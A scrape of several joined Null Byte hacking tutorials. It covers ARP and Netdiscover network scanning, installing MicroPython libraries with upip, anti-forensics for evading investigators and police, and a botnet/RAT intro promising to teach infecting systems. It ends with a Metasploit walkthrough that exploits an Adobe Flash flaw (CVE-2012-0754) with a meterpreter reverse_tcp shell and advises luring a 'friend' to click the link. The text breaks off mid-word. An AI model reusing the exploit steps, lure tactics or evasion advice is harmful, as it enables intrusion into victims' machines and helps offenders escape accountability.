Wireshark won't flag the packets as suspicious.Step 4: Run a Stealthy Passive Scan with NetdiscoverNow that we've tried out ARP scan, let's try out another scanning tool that uses ARP. Netdiscover should come installed by default in Kali Linux, but if it doesn't, you can install it by typingapt install netdiscoverin a terminal window.To get started, let's take a look at the available options. We can review them by typingnetdiscover -helpin a new terminal window.netdiscover -helpNetdiscover 0.3-pre-beta7 [Active/passive arp reconnaissance tool] Written by: Jaime Penalba <jpenalbae@gmail.com> Usage: netdiscover [-i device] [-r range | -l file | -p] [-m file] [-s time] [-n node] [-c count] [-f] [-d] [-S] [-P] [-c] -i device: your network device -r range: scan a given range instead of auto scan. 192.168.6.0/24,/16,/8 -l file: scan the list of ranges contained into the given file -p passive mode: do not send anything, only sniff -m file: scan the list of known MACs and host names -F filter: Customize pcap filter expression (default: "arp") -s time: time to sleep between each arp request (milliseconds) -n node: last ip octet used for scanning (from 2 to 253) -c count: number of times to send each arp reques (for nets with packet loss) -f enable fastmode scan, saves a lot of time, recommended for auto -d ignore home config files for autoscan and fast mode -S enable sleep time supression between each request (hardcore mode) -P print results in a format suitable for parsing by another program -N Do not print header. Only valid when -P is enabled. -L in parsable output mode (-P), continue listening after the active scan is completed If -r, -l or -p are not enabled, netdiscover will scan for common lan addresses.To run the most basic passive scan, we can run Netdiscover in passive mode with the following command. Wait a while for the router and other devices on the network to send and reply to ARP replies, and you'll begin to see this list populate.netdiscover -pCurrently scanning: (passive) | Screen View: Unique Hosts 9 Captured ARP Req/Rep packets, from 7 hosts. Total size: 460 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.0.7 50:33:8b:68:2d:73 2 84 Texas Instruments 192.168.0.2 e8:11:32:dc:39:80 1 60 Samsung Electronics Co.,Ltd 192.168.0.1 40:70:09:7a:64:97 2 112 ARRIS Group, Inc. 192.168.0.5 00:09:1b:0c:62:0f 1 60 Digital Generation Inc. 192.168.0.8 d4:95:24:c2:36:27 1 60 Clover Network, Inc. 192.168.0.6 10:8e:e0:ef:5d:f2 1 42 Samsung Electronics Co.,Ltd 192.168.0.11 3c:dc:bc:05:77:d4 1 42 Samsung Electronics Co.,LtdAlthough we are gathering the same information, we are gathering the information in a way that is invisible from the perspective of someone monitoring network traffic.Step 5: Run an Active Scan with NetdiscoverIf we want to start mapping the network more quickly, we can run active scans with Netdiscover as well. Without specifying a network range, Netdiscover will actually go after pretty much every common network range, leading to longer scan times. This may not always be accurate as well. I noticed that Netdiscover scanned the /24 network I was connected to as a /16, which may cause it to take much longer or miss some hosts.You can also increase the amount of ARP requests you send with the-cflag. To run an active scan against the network using 20 ARP requests per IP address, we can runnetdiscover -c 20in a terminal window.netdiscover -c 20Currently scanning: 192.168.34.0/16 | Screen View: Unique Hosts 100 Captured ARP Req/Rep packets, from 7 hosts. Total size: 5528 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.0.2 e8:11:32:dc:39:80 19 1140 Samsung Electronics Co.,Ltd 192.168.0.1 40:70:09:7a:64:97 28 1568 ARRIS Group, Inc. 192.168.0.5 00:09:1b:0c:62:0f 17 1020 Digital Generation Inc. 192.168.0.11 3c:dc:bc:05:77:d4 6 252 Samsung Electronics Co.,Ltd 192.168.0.6 10:8e:e0:ef:5d:f2 8 336 Samsung Electronics Co.,Ltd 192.168.0.8 d4:95:24:c2:36:27 16 960 Clover Network, Inc. 192.168.0.7 50:33:8b:68:2d:73 6 252 Texas InstrumentsARP Resolves Host Information for YouWhen exploring a new network, ARP is the perfect tool for discovering what else is out there. Whether it's through passive eavesdropping over the natural flow of ARP requests or actively forging ARP requests to pretend someone else is sending them, manipulation of ARP messages make more obvious or suspicious scans unnecessary. If you need to start learning the IP and MAC addresses of other devices on a network, let the protocol designed to do just that take care of the heavy lifting for you.I hope you enjoyed this guide to using ARP to discover devices on a network! If you have any questions about this tutorial on the ARP protocol or you have a comment, feel free to reach me on Twitter@KodyKinzie.Don't Miss:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image by Justin Meyers/Null Byte; Screenshots by Kody/Null ByteRelatedHacker Fundamentals:A Tale of Two StandardsHacker Fundamentals:The Everyman's Guide to How Network Packets Are Routed Across the WebHow To:Advanced System Attacks - Total GuideHow To:Use Ettercap to Intercept Passwords with ARP SpoofingHack Like a Pro:How to Hack Remote Desktop Protocol (RDP) to Snatch the Sysadmin PasswordHow To:Build an ARP Scanner Using Scapy and PythonHacking macOS:How to Perform Situational Awareness Attacks, Part 1 (Using System Profiler & ARP)How To:Control Network Traffic with Evil Limiter to Throttle or Kick Off DevicesHow To:Understand & Use IPv4 to Navigate a NetworkHacking Pranks:How to Flip Photos, Change Images & Inject Messages into Friends' Browsers on Your Wi-Fi NetworkTutorial:DNS SpoofingHow To:Tactical Nmap for Beginner Network ReconnaissanceHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)Networking Foundations:Basic IP Addressing (Part 2)How To:Enumerate NetBIOS Shares with NBTScan & Nmap Scripting EngineHack Like a Pro:How to Conduct a Simple Man-in-the-Middle AttackHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningHow To:Run an FTP Server from Home with LinuxNews:8 Wireshark Filters Every Wiretapper Uses to Spy on Web Conversations and Surfing HabitsHow To:Assign a Static IP Address in Windows 7Hacker Fundamentals:A Gentle Introduction to How IP Addresses WorkHow To:Use I2P to Host and Share Your Secret Goods on the Dark Webβ€”AnonymouslyHow To:Spy on Your "Buddy's" Network Traffic: An Intro to Wireshark and the OSI ModelHow To:Create an SSH Tunnel Server and Client in LinuxNews:Nextdoor Brings Private Social Networks to a Neighborhood Near YouHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Completely Mask & Anonymize Your BitTorrent Traffic Using AnomosHow To:Use Wireshark to Steal Your Own Local PasswordsHow To:Bypass a Local Network Proxy for Free Internet
Use Upip to Load MicroPython Libraries onto a Microcontroller Over Wi-Fi Β« Null Byte :: WonderHowTo
MicroPython is an exciting language to use on ESP8266 boards and ESP32-based microcontrollers, but it doesn't always include all of the libraries you'll need for a specific project. This issue is less of a problem, thanks to the upip package manager.Upip lets you download any package in the standardMicroPythonlibrary over a Wi-Fi connection. That's really useful if you're in a project that needs another library and you don't want to go through the tedious process of trying to load it yourself.To follow along, you'll need to have an ESP8266, ESP8285, or ESP32 board, such as the NodeMCU or D1 Mini. Designed for wearables, the ESP8285 is a smaller version of the ESP8266 with less flash memory. The ESP32 is the successor to the other models and has faster Wi-Fi, an extra CPU core, touch-sensitive pins, more GPIOs, andmore.Buy on Amazon:D1 Mini ESP8266 Board for $8.99Buy on Amazon:D1 Mini ESP8285 Board for $10.99Buy on Amazon:D1 Mini ESP32 Acrobotic WeMos Board for $12.49Buy on Amazon:NodeMCU ESP8266 Board (3 Pack) for $13.95Buy on Amazon:NodeMCU ESP8285 Board for $11.06Buy on Amazon:MELIFE ESP32 Board (2 Pack) for $14.99Buy on Amazon:HiLetgo ESP-WROOM-32 Board for $10.99Once you have a board, you'll have to connect it to a computer, so you'll need a Micro-USB cable if you don't already have one. You'll want to make sure it's one that is both for charging and data transfer. It can be hard to tell, but a lot of your older cords may be charging-only, and you'll know if you can't connect your board to your computer.Buy on Amazon:Nylon Braided Micro-USB Data Cable for $3.96Step 1: Access MicroPython on Your BoardWe'll assume that you already have MicroPython installed on your board, so we won't go over that process again since we covered it in depth in our guide ongetting started with MicroPython on microcontrollers. That article has lots of good information in it, such as erasing your board, installing MicroPython, and accessing the board afterward. Check it out if you don't know how to find your board's serial port to connect to it.More Info:Get Started with MicroPython for ESP8266 MicrocontrollersStep 2: Connect to Your BoardIf you just set up your board via Step 1, you're already connected to your computer. If not, make sure to connect your microcontroller to your computer via the Micro-USB cable. Then, usescreento connect to it.~$ screen /dev/ttyUSB3 115200 MicroPython v1.13.bin-g48dcbbe60 on 2020-09-11; ESP module with ESP8266 Type "help()" for more information. >>>As instructed, let's runhelp()to see what's going on here.>>> help() Welcome to MicroPython! For online docs please visit http://docs.micropython.org/en/latest/esp8266/ . For diagnostic information to include in bug reports execute 'import port_diag'. Basic WiFi configuration: import network sta_if = network.WLAN(network.STA_IF); sta_if.active(True) sta_if.scan() # Scan for available access points sta_if.connect("<AP_name>", "<password>") # Connect to an AP sta_if.isconnected() # Check for successful connection # Change name/password of ESP8266's AP: ap_if = network.WLAN(network.AP_IF) ap_if.config(essid="<AP_NAME>", authmode=network.AUTH_WPA_WPA2_PSK, password="<password>") Control commands: CTRL-A -- on a blank line, enter raw REPL mode CTRL-B -- on a blank line, enter normal REPL mode CTRL-C -- interrupt a running program CTRL-D -- on a blank line, do a soft reset of the board CTRL-E -- on a blank line, enter paste mode For further help on a specific object, type help(obj) >>>Step 3: Set Up the NetworkNow, let's set up the network interface. Per the network setup instructions on the MicroPython site, we'll use thenetworkmodule. And there are two Wi-Fi interfaces to create. First, one for the station, i.e., when your microcontroller connects to your router. Second, the access point on your microcontroller so that other devices can connect to it. We're only worried about the first one since we just want to get libraries onto the board.Don't Miss:Program a Microcontroller Over Wi-Fi with MicroPython>>> import network >>> sta_if = network.WLAN(network.STA_IF)Now, you can check to see if they are active:>>> sta_if.active() TrueIf you see "False" for your Wi-Fi router, set it to true manually with:>>> sta_if.active(True) #5 ets_task(4020f4d8, 28, 3fff9df0, 10)If you're not sure what your Wi-Fi network is, you can scan to remind yourself.>>> sta_if.scan() [(b'SO YOUNG BEAUTY', b'\x0c\xea\xc9w\x83\x00', 1, -63, 3, 0), (b'WIFIEA18FD', b'\xa8\xa7\x95\xea\x19\x01', 1, -79, 3, 0), (b'CableWiFi', b'\xc4\x01|\x13\x1c\xc8', 4, -76, 0, 0), (b'SpectrumWiFi Plus', b'\xc4\x01|S\x1c\xc8', 4, -76, 5, 0), (b'SpectrumWiFi', b'\xc4\x01|\x93\x1c\xc8', 4, -75, 0, 0), (b'piccadilly', b'\x90\x1a\xcal\xd7\x00', 6, -70, 3, 0), (b'spot 2.4 ghz', b'@p\tzd\x90', 11, -52, 3, 0)]With the network known, we can now connect the board to it with:>>> sta_if.connect('<your ESSID>', '<your password>')In my case, that's:>>> sta_if.connect("spot 2.4 ghz", "CafeSpot000")Now, you can check to see if you're connected with:>>> sta_if.isconnected() TrueStep 4: Install a MicroPython LibraryNow we're ready to start using upip. We're going to download a MicroPython library from the/micropython/micropython-libGitHub page. For our example, we're going withpystone_lowmento perform a benchmarking test.>>> import upipNow we're ready to start downloading a package over the internet. If you want to see the usage, useupip.help()to get more info.>>> upip.help() upip - Simple PyPI package manager for MicroPython Usage: micropython -m upip install [-p <path>] <package>... | -r <requirements.txt> import upip; upip.install(package_or_list, [<path>]) If <path> is not given, packages will be installed into sys.path[1] (can be set from MICROPYPATH environment variable, if current system supports that). Current value of sys.path[1]: /lib Note: only MicroPython packages (usually, named micropython-*) are supported for installation, upip does not support arbitrary code in setup.py.To install a package in upip, you'd use the following format.>>> upip.install("micropython-pystone_lowmem") Installing to: /lib/ Warning: micropython.org SSL certificate is not validated Installing micropython-pystone_lowmem 3.4.2.post4 from https://micropython.org/pi/pystone_lowmem/pystone_lowmem-3.4.2.post4.tar.gzTo use the new package, you can import it like you would any standard library usingimport. Then, you can run the module as a function as formatted below.>>> import pystone_lowmem >>> pystone_lowmem.main() Pystone(1.2) time for 500 passes = 1137ms This machine benchmarks at 439 pystones/secondIf you want to see all of the libraries that are installed, you can importuosand use that to list all of the libraries in the current directory.>>> import uos >>> uos.listdir() ['boot.py', 'lib']This is basically how you would get up and running with libraries that aren't already installed on your MicroPython system. To see all of the packages you can use, make sure to check out/micropython/micropython-libon GitHub.Don't Miss:Create Rogue APs with MicroPython on an ESP8266 MicrocontrollerWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Retia/Null ByteRelatedHow To:Program an ESP8266 or ESP32 Microcontroller Over Wi-Fi with MicroPythonHow To:Get Started with MicroPython for ESP8266 MicrocontrollersHow To:Create Rogue APs with MicroPython on an ESP8266 MicrocontrollerHow To:Inconspicuously Sniff Wi-Fi Data Packets Using an ESP8266How To:The Hardware Hacker's Introduction to Microcontrollers, Part One: Anatomy of an ArduinoHow To:Control Anything with a Wi-Fi Relay Switch Using aRestHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritWiFi Prank:Use the iOS Exploit to Keep iPhone Users Off the InternetHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How To:Can't Log into Hotel Wi-Fi? Use This App to Fix Android's Captive Portal ProblemHow To:A Hacker's Guide to Programming MicrocontrollersHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody β€” Even Android UsersHow To:Change a Phone's Coordinates by Spoofing Wi-Fi Geolocation HotspotsAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Get the Strongest Wi-Fi Connection on Your Android Every TimeHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Share Your Android's Music Library with All of Your FriendsHow To:Easily Share Your Complicated Wi-Fi Password Using Your Nexus 5How To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Your iPhone's Using More Data Than It Needs, but This Could Stop ItHow to Hack with Arduino:Tracking Which Networks a Mac Has Connected To & WhenHow To:Program a $6 NodeMCU to Detect Wi-Fi Jamming Attacks in the Arduino IDENews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksHow To:Fix Wi-Fi Performance Issues in iOS 8 & YosemiteHow To:Build an Off-Grid Wi-Fi Voice Communication System with Android & Raspberry PiHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Find & Share Local Wi-Fi Passwords for Free Internet Everywhere You GoHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3News:The 5 Best iPhone/iPad Apps for Exporting and Importing Your PhotosHow To:Get By with the Cheaper 16GB Option for iPhone or iPadHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceNews:PSP2 (Next Generation Portable) or NGPHow To:Adjust WiFi Video Quality on Your iPhone in iOS 10
Hack Like a Pro: Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques) Β« Null Byte :: WonderHowTo
Welcome back, my tenderfoot hackers!So many readers in theNull Bytecommunity have been asking me questions about evading detection and hacking undetected that I decided to start a new series ondigital forensics.I applaud each of you for your concern, as the last thing I want to see is one of you getting caught and spending years locked up in a 8 x 8 concrete room with a violent and lascivious cellmate. You can never be too cautious in this field of endeavor.The best way to evade detection is to understand what the other side is doing and using. So, this series will focus on the tools and techniques that law enforcement and the security engineers are using to detect and prosecute hackers around the world.What Is Digital Forensics?Digital forensics is the field of determining who was responsible for a digital intrusion or other computer crime. It uses a wide-range of techniques to gain attribution to the perpetrator.It relies upon the fundamental concept that whenever a digital intrusion or crime is committed, the perpetrator inadvertently leaves a bit of themselves behind for the investigator to find. These "bits" could be entries in log files, changes to the registry, hacking software, malware, remnants of deleted files, etc. All of these can provide clues and evidence to determine their identity and lead to the capture and arrest of the hacker.As a hacker, the more you know and understand about digital forensics, the better you can evade the standard forensic techniques and even implement anti-forensic measures to throw off the investigator.The Digital Forensic ToolsJust like in hacking, there are a number of software tools for doing digital forensics. For the hacker, becoming familiar with these tools and how they work is crucial to evading them. Most digital forensic investigators rely upon three major commercial digital forensic suites.Guidance Software's EnCase ForensicAccess Data's Forensic Tool Kit (FTK)ProdiscoverThese three suites are comprised of multiple tools and reporting features and can be fairly expensive. While these suites are widely used by law enforcement, they use the same or similar techniques as the free open-source suites without the fancy interfaces.By using the open source and free suites, we can come to understand how such tools as EnCase work without the expense. EnCase is the most widely used tool by law enforcement, but not necessarily the most effective and sophisticated. These tools are designed for user-friendliness, efficiency, certification, good training, and reporting.There are a number of the free, open-source forensic suites, including the following three.The Sleuthkit Kit (TSK)HelixKnoppixWe will look at each of these suites to better understand what digital forensic investigators can see and find about an intrusion and the perpetrator.The Forensic Tools Available in BackTrackIn addition, there are a large number of individual tools that are available for digital forensics, some of which are available in ourBackTrackand Kali distributions.Some of the better tools in BackTrack include the following, among many others.sleuthkittruecrypthexeditautopsyiphoneanalyzerrifiuti2ptkexiftoolevtparse.plfatbackscalpeldc3dddriftnettimestompWhat Can Digital Forensics Do?Digital forensics can do many things, all of which the aspiring hacker should be aware of. Below is a list of just some of the things.Recovering deleted files, including emailsDetermine what computer, device, and/or software created the malicious file, software, and/or attackTrail the source IP and/or MAC address of the attackTrack the source of malware by its signature and componentsDetermine the time, place, and device that took a pictureTrack the location of a cell phone enabled device (with or without GPS enabled)Determine the time a file was modified, accessed or created (MAC)Crack passwords on encrypted hard drives, files, or communicationDetermine which websites the perpetrator visited and what files he downloadedDetermine what commands and software the suspect has utilizedExtract critical information from volatile memoryDetermine who hacked the wireless network and who the unauthorized users areAnd that' just some of the things you can do with digital forensics!What Is Anti-Forensics?Anti-forensics are techniques that can be used to obfuscate information and evade the tools and techniques of the forensic investigator. Some of these techniques include the following.Hiding Data:Hiding data can include such things as encryption and stegonography.Artifact wiping:Every attack leaves a signature or artifact behind. Sometimes it's wise to attempt to wipe these artifacts from the victim machine so as to leave no tell-tale trail for the investigator.Trail Obfuscation:A decent forensic investigator can trail nearly any remote attack to a IP address and/or MAC address. Trail obfuscation is a technique that leads them to another source of the attack, rather than the actual attack.Change the timestamp:Change the file timestamp (modify, access, and change) to evade detection by forensic tools.Stay Tuned for More on Digital ForensicsWe will spend some of my future Null Byte tutorials looking at the most widely-used techniques in digital forensics, using both commercial and open-source tools, and then advance to anti-forensics, or ways to evade detection from these tools and the forensic investigator.So, to learn the techniques law enforcement and security engineers are using to track hackers, along with how to avoid and evade, keep coming back here!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseMagnifying glassimage via ShutterstockRelatedHack Like a Pro:Digital Forensics Using Kali, Part 1 (The Tools of a Forensic Investigator)News:How to Study for the White Hat Hacker Associate Certification (CWA)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 5 (Windows Registry Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 6 (Using IDA Pro)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 11 (Using Splunk)News:Why YOU Should Study Digital ForensicsHow To:Become a Computer Forensics Pro with This $29 TrainingHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 2 (Network Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 8 (More Windows Registry Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 15 (Parsing Out Key Info from Memory)Hack Like a Pro:Digital Forensics Using Kali, Part 2 (Acquiring a Hard Drive Image for Analysis)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 7 (Windows Sysinternals)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 12 (Windows Prefetch Files)News:What to Expect from Null Byte in 2015News:Airline Offers Frequent Flyer Miles to HackersHack Like a Pro:How to Hack Facebook (Facebook Password Extractor)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Getting Started with BackTrack, Your New Hacking SystemHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 14 (Live Memory Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 9 (Finding Storage Device Artifacts in the Registry)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 4 (Evading Detection While DoSing)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 16 (Extracting EXIF Data from Image Files)How To:Why You Should Study to Be a HackerHack Like a Pro:Digital Forensics Using Kali, Part 3 (Creating Cases in Autopsy & Sleuth Kit)SPLOIT:Forensics with Metasploit ~ ( Recovering Deleted Files )Community Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsNews:What does Pro Tools HD Native mean for you?Community Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCamera Plus Pro:The iPhone Camera App That Does it AllHow To:Don't Get Caught! How to Protect Your Hard Drives from Data Forensics
Introduction to Botnets and RATs : Part 1 Β« Null Byte :: WonderHowTo
Hello everyone. I'm Calypsus and i've been around for a while learning from various tutorials, expanding my knowledge and this is one of the best platforms for newbies to sharpen the skills. Today i decided to register myself and contribute to this wonderful community. Since this is my first post, any kind of feedback is appreciated.Botnets :Image vianetdna-ssl.comA botnet is a collection of compromised machines for the use of (Distributed) Denial of Service (DoS/DDoS). Consider this as an army of compromised systems used to create havoc.The botnets are usually controlled by IRC channels and HTTP protocols. The systems are compromised and then used for massive DDOS on websites or trigger a 0day exploit.RATs :Image viagfi.comRAT - Remote administration tool. A RAT is malicious malware software that runs on your computer. It gives access to a hacker when he wants to steal information from you or install other malicious software. Basically, if a RAT is installed in the system, the hacker has complete power over it. He can either keylog the passwords or steal confidential information.The RATs are usually detected by antivirus unless its crypted or binded with other files. There are some legal RATs like Teamviewer which help in numerous ways and then there are several illegal RATs which help in all kind of malicious activities, some notable ones are ZeuS, Spynet.What's in the Box of This Series :I'll be doing tutorials on howto create RATs, host them and infect the systems with it. I'd like to end this tutorial with a quote of Edward Snowden - "I would rather be without a state than without a voice"Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedBotnets and RATs:Precautionary Measures and Detection (Part 2)How To:Simulate a RAT on Your Network with ShinoBOTNews:Deadly Lungworm Parasite Spread by Rats & Snails Is More Prevalent Than We ThoughtHow To:Craft mixed media ratsHow To:Program Your Own Little RAT (Part 1) Getting the Server WorkingA New Breed of Invertebrate:Half-Rat, Half-Silicone Cyborg JellyfishHow To:Use Pupy, a Linux Remote Access ToolHow To:Train Your Pet Rat to Play BasketballHow To:Origami a cool ratHow To:Pull a Twitching Dead Rat PrankHow To:Program Your Own Little RAT (Part 2) Getting the Client WorkingHow To:Teach a pet rat to retrieve and drop a ballNews:The Soft Fur RatNews:Rat Trap WalkNews:Edible Dead RatNews:"Rat Tales" by the old surfer man BarettaNews:Romanian Meat. (RAT MEAT)News:Sticky WakeupNews:The Godfathers of Street Art. (non-letter based)News:People really do like this sportHow To:Handle and restrain a rat for injectionsToday's Tidbit:Want to Be Happier? Don't Eat Junk FoodNews:The Rat Trap prankNews:Jim Winter - Palmistry - FINGERS - Pt2News:New Variant of Zeus Trojan Loses Reliance On C&C Server
Hack Like a Pro: How to Exploit Adobe Flash with a Corrupted Movie File to Hack Windows 7 Β« Null Byte :: WonderHowTo
Welcome back, my greenhorn hackers!In my continuing effort to demonstrate to you how to hack the ubiquitous Windows 7, we will going after that notoriously vulnerable Adobe Flash that is on nearly every client Windows system (you are not likely to find it on servers).Flash and the other Adobe products have had a reputation for shoddy and insecure design for quite awhile now. The problem is so bad, that Apple will not allow Flash on its iOS operating system, angering many users, but keeping iOS more secure and energy efficient (when Flash crashes, it sucks up energy from the batteryβ€”and it crashes often, as we all know too well).Inan earlier tutorial, I showed you how to find vulnerabilities by using theSecurityFocusdatabase. Let's go there again and take a look at the Adobe Flash vulnerabilities.Step 1: Search VulnerabilitiesWhen we go towww.securityfocus.comand search the database for Adobe and then Flash Player, we get 8 pages of vulnerabilities with 20 vulnerabilities per page. Its obvious from this listing that Flash is riven with security problems. We could could spend weeks going through all the Adobe Flash Player vulnerabilities , but I'll leave that for you to do.If you are looking to attack a client machine on a network, you would be well-served to spend your time focused on Adobe Flash. There are so many vulnerabilities and new ones arrive daily!Step 2: Pick OneLet's take a look at one vulnerability known asCVE-2012-0754, a remote memory corruption. It was found in the wild back in February 2012 and involves using a corrupted .mp4 file to create a buffer overflow in Flash that enables the attacker to execute their own code. Note that it works for Adobe Flash Player through 11.1.When we click on the "exploit" tab at the top of the page, it takes us to a link to the exploit. We can then download or copy and paste that exploit for use.Step 3: Use MetasploitLet's open Metasploit and find the exploits built to take advantage of the Adobe Flash Player vulnerabilities. Search for "flash" using the following command.msf > search flashWhen I do so, I find numerous flash exploits, but I have highlighted the one we are using here and it corresponds to CVE-2012-0754. Now let's use it.msf > use exploit/windows/browser/adobe_flash_mp4_cprtWhen we do that, it will load the exploit into the console. Now let's get more info on it.msf > infoMetasploit returns for us some basic info on the exploit. I have highlighted the description in the screenshot above. In this info, we can also see that this exploit has 'targets". To get the most reliable results, you want to set the target.In our case here, we are going after Windows 7 with IE8 (remember, IE8 came as default on Windows 7 and is still themost widely used browser with 21.2% of the market), so we set the target to 6.msf > set target 6Step 4: Set OptionsNext we need to set our options. We can see the options by typing:msf > show optionsWe need to set the SVRHOST and the payload at a minimum. We could also set the SVRPORT, the URIPATH, and the SSL settings, but we will leave these at their defaults here.msf > set SVRHOST 192.168.1.104msf > set payload windows/meterpreter/reverse_tcpOnce we set the payload, we once again need to check options as payloads have their own set of options. When we do so, we see that we need to set the LHOST (the IP of our local host) for the meterpreter.msf > set LHOST 192.168.1.104Step 5: Exploit!With all the parameters we need set, all we need to do type:msf> exploitThis will now generate a corrupted .mp4 file and will host it on the Metasploit web server. Now we need to be creative and send that link to the victim and hope they click on it. For instance, you could send it to a "friend" saying "Hey, check out this great new hack I found on Null Byte!"When they click on it, Metasploit will send the .mp4 file to their browser creating a buffer overflow as seen below.With a bit of luck (this exploit doesn't work 100% of the time, more like 50%), you will be rewarded with the meterpreter prompt and you will own his or her system!Hacking into modern operating systems is becoming more and more difficult as Microsoft and other software vendors become more security focused. The vigilant hacker can ALWAYS find a way in, if they are persistent and creative.Sources such as SecurityFocus and other vulnerability databases (evenMicrosoft's own) are constantly logging vulnerabilities and the effective hacker simply needs to stay one step ahead of the software vendors.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereHack Like a Pro:How to Embed a Backdoor Connection in an Innocent-Looking PDFHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)Hack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHack Like a Pro:How to Spy on Anyone, Part 2 (Finding & Downloading Confidential Documents)How To:Adobe Flash Player Is Bad for Your Computer (Here's How You Uninstall It)Hack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHack Like a Pro:Exploring the Inner 